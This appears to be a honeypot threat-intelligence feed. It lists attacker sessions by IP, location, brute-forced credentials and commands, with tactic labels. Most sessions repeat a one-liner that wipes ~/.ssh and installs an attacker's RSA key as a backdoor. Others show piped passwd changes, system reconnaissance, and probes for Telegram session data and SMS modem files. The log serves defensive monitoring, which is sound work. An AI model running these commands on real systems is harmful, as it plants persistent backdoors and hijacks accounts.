$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ Γ—4
↳ SSH key persistence
🎭 ghost_root_65 (103.143.238.207) β€” Mong Kok, Hong Kong Β· 3 sessions Β· 6 cmds
2026-04-07 19:35 EDT Β· as oracle/ORACLE, oracle/Oracle28!, oracle/oracle#123
file attribute tampering β†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh Γ—3
↳ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ Γ—3
↳ SSH key persistence
🎭 seoul_root_9 (203.228.30.198) β€” Pohang, South Korea Β· 3 sessions Β· 6 cmds
2026-04-07 19:37 EDT Β· as oracle/ORACLE, oracle/Oracle28!, oracle/oracle#123
file attribute tampering β†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh Γ—3
↳ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ Γ—3
↳ SSH key persistence
🎭 dragon_db_3 (180.76.170.111) β€” Beijing, China Β· 1 session Β· 20 cmds
2026-04-07 19:45 EDT Β· as oracle/ORACLE
file attribute tampering β†’ SSH key persistence β†’ CPU profiling
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
↳ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
↳ SSH key persistence
$ cat /proc/cpuinfo | grep name | wc -l
↳ CPU profiling
$ echo -e "ORACLE\ncEtek57IqpFk\ncEtek57IqpFk"|passwd|bash
$ Enter new UNIX password:
$ echo "ORACLE\ncEtek57IqpFk\ncEtek57IqpFk\n"|passwd
$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'
↳ CPU profiling
$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'
$ ls -lh $(which ls)
$ which ls
$ crontab -l
↳ persistence setup
$ w
↳ logged-in users check
$ uname -m
$ cat /proc/cpuinfo | grep model | grep name | wc -l
↳ CPU profiling
$ top
↳ process monitoring
$ uname
↳ OS identification
$ uname -a
↳ OS/kernel identification
$ whoami
↳ privilege check
$ lscpu | grep Model
$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'
🎭 stroopwafel_root_5 (107.189.27.179) β€” Zaandam, The Netherlands Β· 3 sessions Β· 6 cmds
2026-04-07 19:38 EDT Β· as oracle/ORACLE, oracle/Oracle28!, oracle/oracle#123
file attribute tampering β†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh Γ—3
↳ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ Γ—3
↳ SSH key persistence
🎭 wok_root_26 (61.155.106.101) β€” Yangzhou, China Β· 1 session Β· 2 cmds
2026-04-07 19:29 EDT Β· as oracle/oracle#123
file attribute tampering β†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
↳ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
↳ SSH key persistence
🎭 eagle_root_16 (172.203.134.70) β€” Boydton, United States Β· 1 session Β· 2 cmds
2026-04-07 19:29 EDT Β· as oracle/oracle#123
file attribute tampering β†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
↳ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
↳ SSH key persistence
🎭 shadow_root_40 (189.206.155.253) β€” Loma la Paz, Mexico Β· 1 session Β· 2 cmds
2026-04-07 19:28 EDT Β· as oracle/ORACLE
file attribute tampering β†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
↳ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
↳ SSH key persistence
🎭 kimchi_db (203.247.143.193) β€” Seoul, South Korea Β· 1 session Β· 20 cmds
2026-04-07 19:28 EDT Β· as oracle/ORACLE
file attribute tampering β†’ SSH key persistence β†’ CPU profiling
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
↳ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
↳ SSH key persistence
$ cat /proc/cpuinfo | grep name | wc -l
↳ CPU profiling
$ echo -e "ORACLE\nJ1GXpv6krsKU\nJ1GXpv6krsKU"|passwd|bash
$ Enter new UNIX password:
$ echo "ORACLE\nJ1GXpv6krsKU\nJ1GXpv6krsKU\n"|passwd
$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'
↳ CPU profiling
$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'
$ ls -lh $(which ls)
$ which ls
$ crontab -l
↳ persistence setup
$ w
↳ logged-in users check
$ uname -m
$ cat /proc/cpuinfo | grep model | grep name | wc -l
↳ CPU profiling
$ top
↳ process monitoring
$ uname
↳ OS identification
$ uname -a
↳ OS/kernel identification
$ whoami
↳ privilege check
$ lscpu | grep Model
$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'
🎭 capoeira_root_6 (45.164.39.253) β€” Foz do IguaΓ§u, Brazil Β· 1 session Β· 2 cmds
2026-04-07 16:50 EDT Β· as oracle/Oracle!@
file attribute tampering β†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
↳ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
↳ SSH key persistence
🎭 phantom_root_35 (23.91.97.213) β€” Hong Kong, Hong Kong Β· 1 session Β· 2 cmds
2026-04-07 16:41 EDT Β· as oracle/Oracle!@
file attribute tampering β†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
↳ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
↳ SSH key persistence
🎭 k-pop_root_4 (211.213.96.171) β€” Busan, South Korea Β· 1 session Β· 2 cmds
2026-04-07 16:40 EDT Β· as oracle/oracle20
file attribute tampering β†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
↳ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
↳ SSH key persistence
🎭 rogue_root_25 (165.154.6.166) β€” Hong Kong, Hong Kong Β· 1 session Β· 2 cmds
2026-04-07 16:29 EDT Β· as oracle/Oracle!@
file attribute tampering β†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
↳ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
↳ SSH key persistence
🎭 tea_root_7 (85.234.135.186) β€” Reading, United Kingdom Β· 2 sessions Β· 4 cmds
2026-04-07 15:17 EDT Β· as oracle/oracle11!, oracle/oracle17
file attribute tampering β†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh Γ—2
↳ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ Γ—2
↳ SSH key persistence
🎭 cipher_root_3 (20.203.42.204) β€” Dubai, United Arab Emirates Β· 1 session Β· 2 cmds
2026-04-07 15:09 EDT Β· as oracle/Oracle12!
file attribute tampering β†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
↳ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
↳ SSH key persistence
🎭 rogue_root_23 (201.249.89.102) β€” Caracas, Venezuela Β· 1 session Β· 2 cmds
2026-04-07 11:49 EDT Β· as oracle/Oracle11!
file attribute tampering β†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
↳ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
↳ SSH key persistence
🎭 dragon_root_17 (36.132.37.47) β€” Shenyang, China Β· 1 session Β· 1 cmd
2026-04-07 11:30 EDT Β· as root/123456
Ran uname 1x across 1 sessions β€” automated OS fingerprinting.
$ uname -s -m
🎭 star_root_13 (173.185.74.18) β€” Lititz, United States Β· 1 session Β· 9 cmds
2026-04-07 09:08 EDT Β· as root/root
network mapping β†’ OS/kernel identification β†’ CPU profiling
$ /ip cloud print
$ ifconfig
↳ network mapping
$ uname -a
↳ OS/kernel identification
$ cat /proc/cpuinfo
↳ CPU profiling
$ ps | grep '[Mm]iner'
$ ps -ef | grep '[Mm]iner'
$ ls -la ~/.local/share/TelegramDesktop/tdata /home/*/.local/share/TelegramDesktop/tdata /dev/ttyGSM* /dev/ttyUSB-mod* /var/spool/sms/* /var/log/smsd.log /etc/smsd.conf* /usr/bin/qmuxd /var/qmux_connect_socket /etc/config/simman /dev/modem* /var/config/sms/*
$ locate D877F783D5D3EF8Cs
$ echo Hi | cat -n
🎭 chai_root (172.237.38.13) β€” Mumbai, India Β· 12 sessions Β· 12 cmds
2026-04-06 20:53 EDT Β· as admin/admin, deploy/deploy, guest/guest
Ran uname 1x across 1 sessions β€” automated OS fingerprinting.
$ uname -s -v -n -r -m Γ—12
🎭 specter_root_47 (194.107.115.2) β€” Tashkent, Uzbekistan Β· 1 session Β· 2 cmds
2026-04-06 19:28 EDT Β· as oracle/oracle21
file attribute tampering β†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
↳ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
↳ SSH key persistence
🎭 yankee_root_14 (205.164.114.7) β€” Albany, United States Β· 1 session Β· 1 cmd
2026-04-06 15:38 EDT Β· as root/1234
Ran uname 1x across 1 sessions β€” automated OS fingerprinting.
$ cat /proc/cpuinfo|grep name|cut -f2 -d':'|uniq -c ; uname -a
↳ CPU profiling
🎭 wok_root_27 (117.79.132.166) β€” Beijing, China Β· 2 sessions Β· 2 cmds
2026-04-02 03:24 EDT Β· as root/123456, root/root
Ran uname 1x across 1 sessions β€” automated OS fingerprinting.
$ uname -s -m Γ—2
🎭 hanbok_sol_2 (221.139.88.149) β€” Gwanak-gu, South Korea Β· 1 session Β· 2 cmds
2026-04-06 13:21 EDT Β· as oracle/oracle
file attribute tampering β†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
↳ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
↳ SSH key persistence
🎭 burger_root_8 (87.121.84.30) β€” New York, United States Β· 1 session Β· 1 cmd
2026-04-06 13:12 EDT Β· as root/1234
Ran uname 1x across 1 sessions β€” automated OS fingerprinting.
$ cat /proc/cpuinfo|grep name|cut -f2 -d':'|uniq -c ; uname -a
↳ CPU profiling
🎭 cipher_root_59 (138.226.237.129) β€” Belize City, Belize Β· 1 session Β· 1 cmd
2026-04-06 13:09 EDT Β· as root/1234
Ran uname 1x across 1 sessions β€” automated OS fingerprinting.
$ cat /proc/cpuinfo|grep name|cut -f2 -d':'|uniq -c ; uname -a
↳ CPU profiling
🎭 specter_root_48 (207.46.224.83) β€” Singapore, Singapore Β· 2 sessions Β· 2 cmds
2026-04-01 10:28 EDT Β· as root/1234, root/123456
grep β†’ persistence setup
$ grep 'model name' /proc/cpuinfo 2>/dev/null | head -1 | cut -d ':' -f2- | sed 's/^ *//' | xargs || echo unknown
$ hostname; echo '___BSEP_A1B2C3___'; uname -a; echo '___BSEP_A1B2C3___'; whoami; echo '___BSEP_A1B2C3___'; pwd; echo '___BSEP_A1B2C3___'; ls -la /; echo '___BSEP_A1B2C3___'; ps aux | head -15; echo '___BSEP_A1B2C3___'; netstat -tulpn | head -10; echo '___BSEP_A1B2C3___'; history | tail -5; echo '___BSEP_A1B2C3___'; ssh -V 2>&1; echo '___BSEP_A1B2C3___'; uptime; echo '___BSEP_A1B2C3___'; mount | head -5; echo '___BSEP_A1B2C3___'; env | head -10; echo '___BSEP_A1B2C3___'; cat /etc/os-release 2>/dev/null | head -6; echo '___BSEP_A1B2C3___'; grep MemTotal /proc/meminfo 2>/dev/null; echo '___BSEP_A1B2C3___'; df -h / 2>/dev/null | tail -1; echo '___BSEP_A1B2C3___'; cat /proc/version 2>/dev/null; echo '___BSEP_A1B2C3___'; grep 'model name' /proc/cpuinfo 2>/dev/null | head -1; echo '___BSEP_A1B2C3___'; cat /etc/issue 2>/dev/null; echo '___BSEP_A1B2C3___'; last -n 3 2>/dev/null | head -3; echo '___BSEP_A1B2C3___'; ls /dev 2>/dev/null | wc -l; echo '___BSEP_A1B2C3___'; ls /var/log 2>/dev/null | wc -l; echo '___BSEP_A1B2C3___'; ls /opt 2>/dev/null; echo '___BSEP_A1B2C3___'; crontab -l 2>/dev/null | head -5; echo '___BSEP_A1B2C3___'; nproc 2>/dev/null || grep -c '^processor' /proc/cpuinfo 2>/dev/null
↳ persistence setup
🎭 crepe_root_2 (176.143.4.56) β€” Lyon, France Β· 3 sessions Β· 3 cmds
2026-04-06 12:10 EDT Β· as pi/raspberry, root/password, user/user
Ran uname 1x across 1 sessions β€” automated OS fingerprinting.
$ uname -s -v -n -r -m Γ—3
🎭 tulip_root_12 (213.177.179.111) β€” Eygelshoven, The Netherlands Β· 1 session Β· 1 cmd
2026-04-06 12:21 EDT Β· as root/1234
Ran uname 1x across 1 sessions β€” automated OS fingerprinting.
$ cat /proc/cpuinfo|grep name|cut -f2 -d':'|uniq -c ; uname -a
↳ CPU profiling
🎭 yankee_sol_7 (145.132.102.99) β€” Boydton, United States Β· 4 sessions Β· 4 cmds
2026-04-06 11:19 EDT Β· as root/admin, root/admin123, root/password
env β†’ ps β†’ privilege check
$ whoami Γ—2
↳ privilege check
$ env | head -10
$ ps aux | head -10
🎭 spice_root (172.237.38.57) β€” Mumbai, India Β· 11 sessions Β· 11 cmds
2026-04-06 11:07 EDT Β· as admin/admin, admin/admin123, deploy/deploy
Ran uname 1x across 1 sessions β€” automated OS fingerprinting.
$ uname -s -v -n -r -m Γ—11
🎭 burger_sol_3 (172.215.217.104) β€” Cheyenne, United States Β· 3 sessions Β· 3 cmds
2026-04-06 10:15 EDT Β· as root/12345678, root/admin123, root/password
ps β†’ uname β†’ env
$ ps aux | head -10
$ uname -m 2>/dev/null || echo unknown
$ env | head -10
🎭 silk_root_18 (180.106.164.102) β€” Nanjing, China Β· 2 sessions Β· 18 cmds
2026-04-04 04:43 EDT Β· as root/root
root/root login β†’ /ip cloud print (XRP Ledger check) β†’ ifconfig (network audit) β†’ uname -a (OS fingerprint) β†’ cat /proc/cpuinfo (CPU profiling) β†’ ps | grep '[Mm]iner' & ps -ef | grep '[Mm]iner' (cryptominer scan) β†’ ls -la ~/.local/share/TelegramDesktop/tdata/*
$ /ip cloud print Γ—2
$ ifconfig Γ—2
↳ network mapping
$ uname -a Γ—2
↳ OS/kernel identification
$ cat /proc/cpuinfo Γ—2
↳ CPU profiling
$ ps | grep '[Mm]iner' Γ—2
$ ps -ef | grep '[Mm]iner' Γ—2
$ ls -la ~/.local/share/TelegramDesktop/tdata /home/*/.local/share/TelegramDesktop/tdata /dev/ttyGSM* /dev/ttyUSB-mod* /var/spool/sms/* /var/log/smsd.log /etc/smsd.conf* /usr/bin/qmuxd /var/qmux_connect_socket /etc/config/simman /dev/modem* /var/config/sms/* Γ—2
$ locate D877F783D5D3EF8Cs Γ—2
$ echo Hi | cat -n Γ—2
🎭 cipher_root_60 (103.119.94.10) β€” Mymensingh, Bangladesh Β· 1 session Β· 2 cmds
2026-04-06 09:10 EDT Β· as oracle/test1234
file attribute tampering β†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
↳ file attribute tampering
